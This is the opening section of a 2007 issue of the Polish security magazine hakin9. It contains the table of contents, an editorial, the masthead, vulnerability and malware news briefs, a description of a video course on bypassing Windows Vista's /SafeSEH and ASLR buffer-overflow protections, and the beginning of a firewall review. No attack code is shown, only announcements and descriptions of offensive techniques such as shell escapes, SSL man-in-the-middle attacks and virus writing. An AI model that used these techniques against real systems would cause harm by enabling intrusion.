plik

www.hakin9.org

hakin9 Nr 8/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko.

Zawartość CD

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Recenzja

NETASQ NA-F60

Recenzja

Panda Internet Security 2007

Recenzja

EagleeyeOS Professional Severe

Początki

Podejrzany klucz rejestru

David Maciejak

David zaprezentuje jak wykryć ślady złośliwego

oprogramowania na platformie Windows. Nauczy-

cie się też, jak pisać własne pluginy Nessusa za

pomocą NASL.

Atak

Restrykcyjne powłoki

– jak je obejść?

Dawid Gołuński

Dawid pokazuje nam, jak zmodyfikować restrykcyj-

ne środowisko w celu ograniczenia dostępu dla użyt-

kownika. Poznasz charakterystykę działania restryk-

cyjnej powłoki oraz jej budowę.

Hakowanie protokołu SSL

Artyr Czyż

Artur pokazuje, jakie błędy kryją się w protokole SSL

oraz jak za pomocą ataku MITM przejąć dane konta

innej osoby.

Hakowanie rejestru

Rafał Podsiadły

Rafał pokaże nam, jak napisać wirusa oraz na co

zwrócić uwagę przy tworzeniu szkodliwego kodu.

Witam!

Jako że redagujemy pismo, dotyczące bezpieczeństwa IT,

często bywamy na konferencjach poświęconych temu tema-

towi. Zaciekawiła nas jedna z nich, a mianowicie konferen-

cja o piractwie komputerowym, zorganizowana przez firmę

BSA i Microsoft.

Swoją wiedzą i wypowiedziami zaintrygował nas zwłasz-

cza Krzysztof Janiszewski z Microsoftu, zajmujący się pro-

blematyką ochrony własności intelektualnej. Nasze zacieka-

wienie zaowocowało wywiadem. Gorąco polecam ową roz-

mowę, którą nasi Czytelnicy mogą przeczytać w poniższym

wydaniu h9 8/2007. Pan Krzysztof obiecał, że będzie nam

dostarczał ciekawych informacji dotyczących piractwa kom-

puterowego, więc zapraszam do śledzenia kolejnych nume-

rów naszego czasopisma, by dowiedzieć się czegoś więcej

na ten temat. My, ze swojej strony gwarantujemy, że zagad-

nienia te poruszymy w rozmowie z rzecznikiem BSA.

Oprócz znakomitego wywiadu w h9 znajdziecie jak

zawsze zbiór bardzo interesujących artykułów, takich jak:

Hakowanie SSL, Hakowanie powłoki, Apache jako Reverse

Proxy i wiele, wiele innych, których lekturę gorąco polecam.

Specjalnie dla naszych Czytelników udostępniamy multi-

medialny kurs Stack Overflow Windows Vista, dwa progra-

my oraz 3 nowe tutoriale.

Pozdrawiam

Katarzyna Juszczyńska

www.hakin9.org

hakin9 Nr 8/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Microsoft SQL Server 2005

– bezpieczne aplikacje

Artur Żarski

Artur przedstawi techniki tworzenia bezpiecznych aplika-

cji o charakterze baz danych w oparciu o Microsoft SQL

Server 2005.

Bezpieczna podróż

przez sieć LAN i Internet?

Michał Poselt

Michał pokaże, jak zabezpieczyć się przed Phishin-

giem oraz jak używać McAfee Site Advisor.

Apache jako Reverse Proxy

Radosław Pieczonka

Radosław napisze nam o tym, czym jest reverse proxy,

jak skonfigurować serwer Apache2 dla reverse proxy.

Secure Remote Password Protocol

Cezary G. Cerekwicki

Cezary pokaże, jak działa najbezpieczniejszy proto-

kół uwierzytelniający przez użycie hasła.

Bezpieczna Firma

Bezpieczeństwo informacji

w polskich normach

Andrzej Guzik

Andrzej napisze nam, jakie normy i raporty technicz-

ne stanowią najlepsze praktyki w zakresie zapewnie-

nia bezpieczeństwa informacji w instytucji.

Klub Techniczny

Outpost Security Suite

Wywiad

Wywiad z Krzysztofem

Janiszewskim, pracownikiem

firmy Microsoft

Robert Gontarski, Katarzyna Juszczyńska

Krzysztof Janiszewski specjalista ds. Ochrony Wła-

sności Intelektualnej z firmy Microsoft

Felieton

Patryk Szlagowski

Przeglądarki – temat tabu

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

numerze naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: Sylwia Pogroszewska

Redaktor naczelny: Martyna Żaczek

martyna.zaczek@software.com.pl

Redaktor prowadzący: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Asystent redaktora: Robert Gontarski

robert.gontarski@software.com.pl

Tłumaczenie: Piotr Żuk

Wyróżnieni betatesterzy: Przemysław Prytek, Tomasz Przybylski

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Nowicka

e-mail: monika.nowicka@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 8/2007

Dziurawe blogi

W popularnym oprogramowaniu

do tworzenia blogów – WordPress

– odkryto trzy poważne luki, które

pozwalają napastnikowi na wsta-

wienie własnych skryptów PHP i

ich wykonanie. Błąd występuje we

wtyczkach myFlash, wordTube i

wp -Table i jest związany z nieprawi-

dłowym przetwarzaniem parametru

wppath w modułach wordtube-but-

ton.php, js/wptable-button.php i

myflash-button.php. Wszystkie

wtyczki, w których zostały wykryte

luki, wyszły spod ręki tego samego

programisty. WordPress to system

obsługi blogów napisany w języku

skryptowym PHP. Do swojego funk-

cjonowania wykorzystuje bazę

MySQL. Rozpowszechniany jest na

licencji GNU General Public Licen-

se. Rozwojem WordPressa kieruje

Ryan Boren oraz Matt Mullenweg.

Uwaga na trojan imitujący

aktywację Windows

Specjaliści z firmy Symantec ostrze-

gają użytkowników systemu Win-

dows przed nowym koniem trojań-

skim Kardphisher, który do złudze-

nia przypomina produkt Microso-

ftu - Windows Genuine Advanta-

ge (WGA). Po uruchomieniu Troja-

na użytkownikowi wyświetlany jest

komunikat, z którego wynika, że

niezbędne jest przeprowadzenie

powtórnej aktywacji OS-u. Jeśli użyt-

kownik nie wyrazi zgody na aktywa-

cję, komputer zostanie zrestartowa-

ny, zaś po jego uruchomieniu znów

pojawi się żądanie ponownej akty-

wacji systemu. Kardphishera można

usunąć za pomocą uaktualnionego

programu antywirusowego.

Eksperci ostrzegają przed nowym

robakiem rozprzestrzeniającym się

poprzez klipsy USB

Firma Sophos informuje o nowym

robaku – SillyFD-AA, który insta-

luje się w systemie, a następnie

wyświetla za pomocą przeglądarki

internetowej informację Hacked by

1BYTE. Szkodnik wyszukuje pod-

łączone do komputera urządzenia

USB i kopiuje się na nie, aby potem

zarażać inne komputery, Spadek

cen klipsów USB sprawia, iż stają

się one narzędziem cyberprzestęp-

ców - zauważa Graham Clueley z

firmy Sophos. Aby uniknąć ataku

robaka, użytkownicy powinni wyłą-

czyć w systemie Windows funkcję

Autorun. Warto również od czasu

do czasu przeskanować dysk USB

programem antywirusowym.

Włamanie na serwery AOL-u

iedemnastolatek z Nowego Jorku
włamał się do systemów informa-

tycznych koncernu AOL. Mike Nieves
został jednak szybko zdemaskowany i
zatrzymany, a sprawa trafiła do sądu
w  NY.  Podczas  pierwszej  rozpra-
wy przedstawiono mu zarzuty popeł-
nienia  czterech  przestępstw  i  jedne-
go  wykroczenia.  Młody  nowojorczyk
po włamaniu na serwery miał dostęp
m.in. do szczegółowych danych klien-
tów, komputerów działu supportu oraz
kont  pracowników.  Atak  na  AOL  był
zemstą skierowaną przeciwko firmie,
która bezprawnie odebrała mu konto
w serwisie AOL.com. Włamania doko-
nał pomiędzy 24.12.2006 a 7.04.2007.
W  tym  czasie  wielokrotnie  włamy-
wał  się  na  serwery  AOL.  Firma  w
wyniku ataku poniosła straty sięgają-
ce 500 tys. USD. Według niepotwier-
dzonych  informacji  nastolatek  należy
do grupy hakerskiej, która specjalizu-

je się we włamaniach do dużych kor-
poracji. AOL to duży dostawca usług
internetowych,  spółka  korporacji
medialnej  America  Online.  W  latach
90, AOL obsługiwał 30 milionów sub-
skrybentów, chociaż obecnie liczba ta
znacząco spadła. Usługi AOL zosta-
ły  uruchomione  w  1985  jako  rodzaj

mega-BBS dla komputerów Commo-
dore 64 i 128.

Rysunek 1.

Zrzut ekranu poczty

IncreditMail

Hakerzy ponownie zaproszeni

na konferencję Microsoftu

oncernr Microsoft po raz kolej-
ny zaprosił do współpracy człon-

ków  społeczności  hakerskiej  na
swoją  konferencję  Blue  Hat.  Konfe-
rencja  z  udziałem  specjalistów  od
łamania  zabezpieczeń  i  wyszukiwa-
nia  luk  w  oprogramowaniu  odbyła
się  w  głównej  siedzibie  Microsoft
w  Redmond.  Na  spotkaniu  obecni
byli między innymi Kevin Mahaffey i
John Hering z Flexilis, David Maynor

i  Robert  Graham  z  Errata  Security
oraz  Rob  Thomas  z  Team  Cymru.
Gigant  z  Redmond  liczy  na  to,  iż
hakerzy podpowiedzą mu, jak popra-
wić  zabezpieczenia  jego  produktów.
Microsoft  zainicjował  cykliczne  kon-
ferencje z udziałem hakerów dwa lata
temu – w celu wypromowania dialogu
pomiędzy jego wewnętrznym zespo-
łem ds. bezpieczeństwa, a zewnętrz-
nymi badaczami.

Vista całkowicie złamana

Sieci pojawiła się całkowi-
cie złamana wersja Windows

Visty Ultimate - donosi The Inqu-

irer.  Zabezpieczenia  najnowszego
systemu  Microsoftu  zostały  przeła-
mane  przez  grupę  NoPE.  O  scrac-
kowanych  wersjach  Visty  słyszeli-
śmy  już  kilkakrotnie,  jednak  obecna
jest  wyjątkowa.  Otóż  zabezpiecze-
nia  Visty  zostały  całkowicie  poko-
nane!  Nie  trzeba  używać  żadnych
numerów  seryjnych,  kluczy  aktywa-
cyjnych, nie trzeba przerabiać BIOS-
u.  Wystarczy  po  prostu  umieścić

w  napędzie  specjalną  wersję  DVD,
przygotowaną  przez  grupę  NoPE
i  normalnie  zainstalować  system.
Microsoft  od  wielu  lat  boryka  się  z
tym  samy  problemem  i  jak  na  razie
programistom  nie  udało  się  stwo-
rzyć  odpowiednich  narzędzi  antypi-
rackich,  które  w  100%  zabezpieczą
produkty giganta z Redmond. Zabez-
pieczenie antypirackie w poprzedniej
wersji systemu Windows XP, zostało
złamane  jeszcze  przed  udostępnie-
niem beta wersji.

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 8/2007

Luka w odtwarzaczu Winamp

Haker o pseudonimie Marsu Pilami

wykrył poważny błąd w najnowszej

wersji popularnego odtwarzacza

muzyki Winamp. Błąd występuje w

bibliotece libmp4v2.dll, która odpo-

wiedzialna jest za przetwarzanie

plików MP4. Odpowiednio sprepa-

rowany plik muzyczny może spo-

wodować wykonanie złośliwego

kodu i w konsekwencji doprowa-

dzić na przykład do przejęcia kon-

troli nad komputerem. Błąd wystę-

puje tylko w najnowszych wersjach

Winampa, oznaczonych numerami

5.33 i 5.34. AOL, obecny właściciel

Winampa, poinformował, iż pracuje

nad załataniem luki.

Użytkownicy Photoshopa

w niebezpieczeństwie

Wykryto krytyczną lukę w aplikacji

Adobe Photoshop, która umożliwia

przejęcie kontroli nad komputerem.

Oznaczona jako wysoko krytyczna

dziura dotyczy Photoshopa w wersji

CS2 oraz CS3. Odpowiednio spre-

parowany plik graficzny .bmp (.dib,

.rle) może ułatwić przeprowadzenie

ataku związanego z przepełnieniem

bufora, a to z kolei ułatwi przejęcie

kontroli nad atakowanym kompute-

rem. Specjaliści z firmy Secunia nie

odnotowali jeszcze istnienia złośli-

wego oprogramowania wykorzystu-

jącego dziurę. Zaleca się jednak,

aby użytkownicy Photoshopów nie

otwierali map bitowych pochodzą-

cych z nieznanych źródeł.

Crakerzy napadli na piratów

Popularny serwis P2P The Pirate

Bay został zaatakowany przez hake-

rów, którzy wykorzystując dziurę w

oprogramowaniu do obsługi blogów

wykradli zawartość bazy danych ser-

wisu, zawierającą nazwy użytkow-

ników i hasła 1,6 miliona użytkowni-

ków. Przedstawiciele The Pirate Bay

uspokajają, iż dane te są dodatkowo

zaszyfrowane, więc jest raczej mało

prawdopodobne, iż złodzieje zdołają

je wykorzystać. Internautom posia-

dającym konta na stronie zalecono

jednak jak najszybszą zmianę haseł

dostępu. Administratorzy twierdzą, iż

wiedzą, kto jest odpowiedzialny za

atak – jednak na razie informacji tej

nie podano. The Pirate Bay to jeden

z największych trackerów BitTorren-

ta na świecie. TPB został urucho-

miony przez szwedzką organizację

Piratbyran na początku roku 2004,

a od października 2004 jest osobną

organizacją.

Poważna luka w Novell NetMail

programie pocztowym Novell
NetMail 3.52e wykryto poważ-

ną  lukę,  która  pozwala  napastniko-
wi  na  zdalne  uruchomienie  dowol-
nego kodu z uprawnieniami, z który-
mi  działa  usługa  NetMail.  Błąd  doty-
czy  usługi  NMDMC.EXE,  która  nie
przeprowadza właściwej kontroli wej-
ścia  podczas  kopiowania  danych  do
wewnętrznego  bufora.  Novell  przy-
gotował  już  nową  wersję  programu
(3.52f), w której błąd został naprawio-
ny.  Novell  NetMail  to  system  zarzą-
dzania  pocztą,  kontaktami  i  spotka-

niami, wyposażony we własny komu-
nikator. System obsługuje wszystkie
podstawowe protokoły SMTP, POP3,

IMAP4,  HTML,  S/MIME,  a  jego  naj-
nowsza wersja działa na platformach
NetWare,  Solaris,  Linux  oraz  Win-
dows NT/2000. Novell NetMail jest też
powiązany z rozwiązaniami, takimi jak
eDirectory,  iFolder  czy  GroupWise.
NetMail  współpracuje  z  większością
popularnych  klientów  pocztowych
Outlook, Eudora, Netscape Mail oraz
platformami  GroupWise,  Exchange  i
Lotus Notes.

Pierwsze narzędzie do audytu e-mail

ostawca narzędzi zarządzania,
firma Quest Software wprowa-

dziła do sprzedaży najnowsze narzę-
dzie wspomagające bezpieczeństwo
systemu pocztowego: Quest InTrust

Plug-in  for  Exchange.  Jest  to  pierw-
szy  produkt  na  rynku,  który  umożli-
wia śledzenie w czasie rzeczywistym
dostępu i działań właścicieli skrzynek
pocztowych  oraz  użytkowników  uzy-
skujących  dostęp  do  skrzynek  pocz-
towych  w  imieniu  właściciela  (admi-
nistratorzy).  Rozwiązanie  to  pozwa-
la  także  na  przeprowadzanie  audytu
zmian  uprawnień  lub  konfiguracji  w
środowisku Exchange Server. Narzę-
dzie Quest InTrust Plug-in for Exchan-

ge raportuje oraz generuje alarmy w
oparciu  o  zapisy  w  dzienniku  zda-
rzeń,  pozwala  również  przeglądać  i
archiwizować  informacje  zawarte  w
logach,  generować  raporty  związa-
ne z aktywnością serwera Exchange
i  wysyłać  alerty  w  przypadku  stwier-
dzenia  nieprawidłowości  lub  krytycz-
nych zachowań użytkowników. InTrust

Plug-in for Exchange umożliwia prze-
prowadzenie szczegółowego audytu
zmian konfiguracyjnych i uprawnienio-
wych w środowisku Exchange Server.
W zakresie zarządzania infrastrukturą
Microsoftu, Quest konkuruje z takimi
dostawcami, jak Bindview, NetIQ oraz
NetPro.

Policja zamyka napisy.org

olicjanci z Wydziału PG KWP
w Katowicach zatrzymali dzie-

więć  osób,  które  nielegalnie  tłuma-
czyły  dialogi  z  filmów  i  zamieszcza-
ły je na znanym portalu internetowym
napisy.org.  Portal  był  najpopular-
niejszą  stroną  z  tłumaczeniami  dia-
logów  filmowych  w  Polsce.  Pozwa-
lał  setkom  tysięcy  użytkownikom
miesięcznie  oglądać  obcojęzycz-
ne  filmy  z  polskimi  napisami.  Usta-
lono,  że  domena  Napisy.org.  znaj-
duje  się  na  niemieckim  serwerze,  a
administratorem jest 26-letni właści-
ciel  sklepu  z  częściami  komputero-
wymi z Zabrza. W likwidowaniu nie-
legalnego  serwisu  brali  udział  poli-
cjanci  z  czterech  województw,  poli-

cja niemiecka oraz przedstawiciele
Fundacji Ochrony Twórczości Audio-
wizualnej. Policja rozpoczęła przygo-
towania do całej akcji na wniosek firm
pokrzywdzonych działaniami serwisu
Napisy.org. Podejrzanym grozi teraz
kara nawet do 2 lat pozbawienia wol-
ności. Nie są to pierwsze problemy

Napisy.org.  W  zeszłym  roku  serwis
ten  wraz  ze  stroną  Napisy.info  stał
się celem ataków dystrybutora Gutek
Film. Wtedy jednak po krótkiej prze-
rwie serwis wrócił do Sieci. Na stor-
nie http://kinomania.org znajduje się
list  otwarty  tłumaczy-hobbystów  w
sprawie zatrzymań osób tworzących
napisy do filmów.

W skrócie

hakin9 Nr 8/2007

www.hakin9.org

The Pirate Bay stworzyło

nową stronę z muzyką

The Pirate Bay pracuje nad nową,

udostepniającą pliki muzyczne

stroną, która pozwoli użytkowni-

kom na legalne ściąganie muzyki,

przy równoczesnym wspieraniu

artystów finansowo. Projekt Play-

ble.com powstał dzięki współpra-

cy The Pirate Bay ze szwedzką

grupą rockową Lamont i ich mana-

gerem Kristopherem S. Wilburem.

Tym, co wyróżnia Playble.com

od innych stron (np. Itunes), jest

bezpośrednie wspieranie arty-

stów i muzyki. Użytkownicy por-

talu będą mogli płacić miesięcz-

ną dobrowolną opłatę za ściąganie

muzyki, podczas gdy wiele podob-

nych stron narzuca użytkownikom

własne opłaty.

Wykryto lukę w programie

pocztowym IncrediMail

Specjaliści z US-CERT poinfor-

mowali o luce w module ActiveX,

który instalowany jest przez pro-

gram IncrediMail. Dziura pozwa-

la na wprowadzenie do komputera

ofiary złośliwego kodu. Błąd polega

na przepełnieniu bufora w module

IMMenuShellExt. Lukę można

wyeliminować poprzez wyłączenie

obsługi kontrolek ActiveX. Incredi-

Mail to rozbudowany klient poczty

elektronicznej, który oferuje duże

możliwości kreacji i edycji listów,

do których można dołączać grafikę,

animowane elementy, efekty 3D

oraz odręczny podpis.

Microsoft Forefront Client

Security Evaluation Edition

Microsoft udostępnił testową

wersję oprogramowania Microsoft

Forefront Client Security, które ofe-

ruje ochronę przed szkodliwym

oprogramowaniem: spyware, wiru-

sami, rootkitami, koniami trojański-

mi i robakami. W skład rozwiązania

Forefront Client Security wchodzą

dwa elementy: Agent zabezpieczeń

– który zapewnia ochronę w czasie

rzeczywistym i Serwer centralne-

go zarządzania – który umożliwia

zarządzanie i aktualizowanie skon-

figurowanych agentów szkodli-

wej zawartości. Microsoft przygo-

tował pełną dokumentację produk-

tu: Microsoft Forefront Client Secu-

rity Product Documentation, która

dostępna jest za darmo na stronie

internetowej firmy. W dokumenta-

cji znajdziemy szczegółowe prze-

wodniki po nowych produktach linii

Forefront.

Luka w aplikacjach firmy McAfee

pecjalista ds. Bezpieczeństwa,
Peter Vreugdenhil poinformo-

wał o bardzo poważnej luce w aplika-
cjach  firmy  McAfee.  Wykryta  podat-
ność umożliwia zdalny dostęp do sys-
temu. Luka występuje w takich apli-
kacjach  jak  McAfee  Internet  Securi-
ty Suite 6.x, McAfee VirusScan Plus
2007, McAfee Personal Firewall Plus
5.x, McAfee SpamKiller 5.x, McAfee
AntiSpyware 2.x. Firma McAfee opu-
blikowała  upgrade  do  wersji  7.2.147
lub  6.0.25,  który  dostępny  jest  pod
adresem:  http://us.mcafee.com/root/

login.asp Firma McAfee, z siedzibą
centrali w Santa Clara w Kalifornii,
jest światowym liderem w dziedzinie

ochrony  przed  włamaniami  do  sieci
i  zarządzania  zagrożeniami  bezpie-
czeństwa.  Oferuje  sprawdzone  roz-
wiązania i usługi służące do prewen-
cyjnego  zabezpieczania  systemów  i
sieci informatycznych na całym świe-
cie.  Dzięki  niezrównanej  znajomo-
ści  zagadnień  bezpieczeństwa  oraz
zaangażowaniu na rzecz innowacyj-
ności,  McAfee  dostarcza  indywidu-
alnym  użytkownikom,  firmom,  insty-
tucjom z sektora publicznego i usłu-
godawcom mechanizmy do nieustan-
nego  monitorowania  i  poprawy  ich
bezpieczeństwa,  blokowania  ataków
oraz zapobiegania zakłóceniom dzia-
łalności.

Microsoft: Open Source narusza

235 patentów

edług firmy Microsoft otwar-
te oprogramowanie, między

innymi  Linux,  narusza  235  patentów
należących do korporacji z Redmond.
Microsoft  doszukał  się  złamania  42
patentów w kodzie jądra Linuksa, 65
w  graficznym  interfejsie  użytkowni-
ka,  45  w  pakiecie  OpenOffice.org,
15  w  programach  pocztowych  oraz
68  w  innym  oprogramowaniu  FOSS.
Społeczność Open Sopurce, a także
firmy, które należą do stowarzyszenia

Open Invention Network, m.in. Sony,
Red Hat, IBM, NEC, Oracle czy Phil-
lips, zapowiadają gotowość do kontr-
ataku. Na łamach InformationWeek

Linus Torvalds (twórca jądra Linux)

wypowiedział  się  na  temat  zarzutów
łamania  patentów  przez  wolne  opro-
gramowanie. "Zdecydowanie jest bar-
dziej  prawdopodobne,  że  to  Micro-
soft  łamie  jakieś  patenty  niż  Linux"
–  stwierdza  Torvalds.  "Podstawowe

teorie systemu operacyjnego zosta-

ły dokładnie określone pod koniec

lat 60. Prawdopodobnie IBM posiada

tysiące prawdziwie 'fundamentalnych'

patentów"  –  dodaje  Torvalds.  Aktu-
alnie  Microsoft  nie  zamierza  docho-
dzić  swoich  praw  w  sądzie.  "Gdyby-

śmy tego chcieli, zrobilibyśmy to już

lata temu" - powiedział dla IW Horacio
Gutierrez, przedstawiciel Microsoftu.

Mateusz Stępień

Rysunek 2.

www.mcafee.com.pl

hakin9.live

hakin9 Nr 8/2007

www.hakin9.org

EagleEyeOS Professional Severe

Program ten oferuje zupełne zabezpieczenie – komplet-
ny zasięg w rozpoznawaniu alertów, rozwinięte monitoro-
wanie w kwestii wykorzystywania drukarek. Świetnie na-
daje się do zastosowania zarówno w dużych firmach, jak
i średnich i małych przedsiębiorstwach. Cykl życia doku-
mentów może być kontrolowany i śledzony za pomocą
monitorowania aktywności użytkownika, tworzenia do-
kumentów kwarantanny, a także poprzez kontrolowanie
urządzeń przenośnych. EagleEyeOS Professional Seve-

re obsługuje też drukarki i alerty innych dowolnych zda-
rzeń. Nawigacja po programie jest łatwa i szybka, panel
kontrolny EagleEye wykorzystuje jego stronę domową.
Znajdują się na niej wielokrotnie używane linki i general-
ne dane statystyczne.

Real-Time Monitoring monitoruje w czasie rzeczywi-

stym zdarzenia, pojawiające się w całej Sieci. Zwiększe-
nie efektywności badania incydentów w czasie rzeczywi-
stym pomaga wykonywać pracę na odpowiedni poziomie.

Reports umożliwiają analizowanie zdarzeń użytkowni-

ków. Dzięki tworzonym raportom mamy możliwość grupo-
wania, przeszukiwania i układania w kolejności tych zda-
rzeń w odpowiedniej kolejności, tak aby usprawnić pracę.

File Lifecycle Tracking to z kolei specjalna opcja

umożliwiająca śledzenie operacji pliku. The File Lifecycle

Tracking przedstawia zestawienie śladów życia pliku za
pomocą drzewa. Istnieje też możliwość przeszukania pli-
ków bezpośrednio z zapytanego raportu.

Storage Lifecycle Tracking pokazuje, który host po-

łączył się z urządzeniem przechowującym dane (jak pen
drive czy aparat) i kiedy to zrobił. Bazując na możliwości
identyfikacji sprzętu, narzędzie zawiadamia o tym, kto sie
połączył, kiedy to zrobił, z którego hosta oraz jaki rodzaj
operacji został wykonany na pliku. Alerts zawiadamiają
o dowolnym zdarzeniu i generują się w momencie mają-
cego miejsce zdarzenia. Alerty mogą być wywoływane z

Raports i z File lifecycles. Ma to duże znaczenie dla na-
tychmiastowego wykrywania nadużyć.

File AntiCopy

Chroń swoje pliki razem z File AntiCopy. Nikt nie będzie
w stanie otworzyć, skopiować lub wykasować pliku bez
twojego zezwolenia. Masz gwarancje że program nigdy
nie straci twoich danych.

Instalacja jest bardzo prosta, wystarczy uruchomić

plik fac.exe, nie jest wymagany żaden kod.

Każda osoba z podstawową wiedzą komputerową mo-

że zabezpieczyć swoje pliki, gdyż interface aplikacji jest
bardzo prosty. Logowanie odbywa się przez wprowadze-
nie loginu admin i hasła admin. Wyświetli się panel konfi-
guracyjny. Aby zabezpieczyć plik, należy dodać go do pli-
ków chronionych i zmienić status Anti-Copy na Aktywny.

Zawartość CD

Opis kursu Visty

Zabezpieczenie ASLR Windows Visy jest włączone do-
myślnie dla programów produkowanych przez firmę Mi-
crosoft i umożliwia zapewnienie bezpieczeństwa pamię-
ci aplikacji i usług, aby uniknąć wykorzystania przepeł-
nienia bufora.

Tego rodzaju dziura umożliwia wykonanie kodu z pra-

wami podatnego programu.

Nowe zabezpieczenia Microsoft Windows Visty

uniemożliwiają wykorzystanie tych słabości. W tym ar-
tykule spróbujemy zrozumieć działanie mechanizmów
zabezpieczających. Przedstawimy również kilka tech-
nik, których można użyć, aby wykorzystać przepełnie-
nia bufora.

Poruszymy najpierw temat działania /SafeSeh (po-

twierdzenie programów zarządzających wyjątkami) i /Dy-

namicBase (które umożliwia szczegółową randomizację
stosu, sterty i obrazu plików wykonywalnych).

Użyjemy kilku technik, aby zmniejszyć wpływ tych za-

bezpieczeń na wykorzystanie przepełnienia bufora oraz
aby zaobserwować, w jakim stopniu można użyć tech-
niki SEH overwrite, nawet w kontekście zabezpieczenia
przez /SafeSeh et /DynamicBase.

Artykuł ten pozwoli Ci lepiej zrozumieć mechanizmy

zabezpieczające, jakie umożliwia Windows Vista oraz
pokaże ich ograniczenia.

Aby w pełni korzystać z tego wideo, zalecamy pozna-

nie działania OllyDbg, a także sposobów przeprowadzania
ataków przez przepełnienie bufora w systemie Windows.

Ten artykuł wideo został przygotowany przez Ali Rah-

bar, inżyniera i konsultanta ds bezpieczeństwa informa-
tycznego.

Aulin Cadeac (wstęp), Ali Rahbar (realizacja wideo)

SYSDREAM, szkolenia i porady w kwestii bezpieczeń-
stwa informatycznego (http://www.sysdream.com).

Rysunek 1.

Wykorzystanie podobnego programu Vista

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

hakin9 Nr 8/2007

www.hakin9.org

Narzędzia

W dobie wszechobecnego Internetu należy kłaść coraz
większy  nacisk  na  zabezpieczenie  swojej  Sieci  przed
atakami  z  zewnątrz.  Mamy  tu  bardzo  duże  możliwości
wyboru oprogramowania, jednak dużo większą ochronę
zapewni nam urządzenie specjalnie do tego celu zapro-
jektowane.  Jednym  z  tego  typu  urządzeń  jest  NA-F60.
Jest  to  sprzęt  firmy  Netasq  przeznaczony  do  małych  i
średnich sieci. Urządzenie jest więc dedykowane zarów-
no użytkownikom domowym, jak też małym firmom.

Podczas tworzenia Sieci podłączonej do Internetu

najważniejszym priorytetem jest bezpieczeństwo. Oczy-
wiście istnieje mnóstwo oprogramowania, które zabez-
pieczać może poszczególne komputery, ale dopiero przy
wykorzystaniu właściwego sprzętu możemy chronić całą
naszą Sieć i decydować o tym, z jakich zasobów mogą
korzystać jej użytkownicy.

W pudełku z urządzeniem znajdziemy komplet kabli

oraz  płyty  z  oprogramowaniem  i  podręcznikami.  Dość
istotnym  minusem  –  przynajmniej  dla  mnie  –  jest  brak
instrukcji w wersji polskiej. Wiem, że język angielski jest
dla  większości  osób  zrozumiały,  ale  producent  chyba
zapomniał,  że  swój  produkt  skierował  na  rynek  polski.
Drugim minusem jest brak podręcznika wydrukowanego,
ponieważ  część  osób  woli  zapoznawać  się  z  urządze-
niem w wygodnym fotelu niż wpatrując się w monitor.

Firma NETASQ upchnęła w opisywanym urządzeniu

wszystkie elementy niezbędne do zabezpieczenia Sieci.
NA-F60 zawiera firewall, system wykrywania i blokowania
włamań IPS (Intrusion Prevention System), serwer VPN,

system antywirusowy, system antyspamowy oraz system
filtrowania dostępu do stron internetowych (filtr URL).

Sprzęt posiada cztery wbudowane routowalne inter-

fejsy oraz 128Mb pamięci w postaci Compact Flash.
Wydajność urządzenia określają najlepiej zestawione
poniższe wartości:

• przepustowość IPS-Firewall – 115Mbps,
• przepustowość kanału VPN szyfrowanego AES – 18

Mbps,

•   maksymalna liczba połączeń TCP – 15000,
•   maksymalna liczba kanałów VPN IPSEC – 100
•   maksymalna liczba reguł filtrujących – 512

UTM posiada bardzo dobry system wykrywania i blokowa-
nia włamań, na który składają się: wykrywanie anomalii w
protokołach (HTTP, FTP, DNS, SMTP, POP3, IMAP4, RIP,
H323, EMULE, SSH, SSL, NNTP, TELNET), analiza heu-
rystyczna, sygnatury kontekstowe oraz analiza protokołów
warstwy aplikacji. Zabezpiecza naszą Sieć również przed
wirusami poprzez wbudowany ClamAV, transparentne
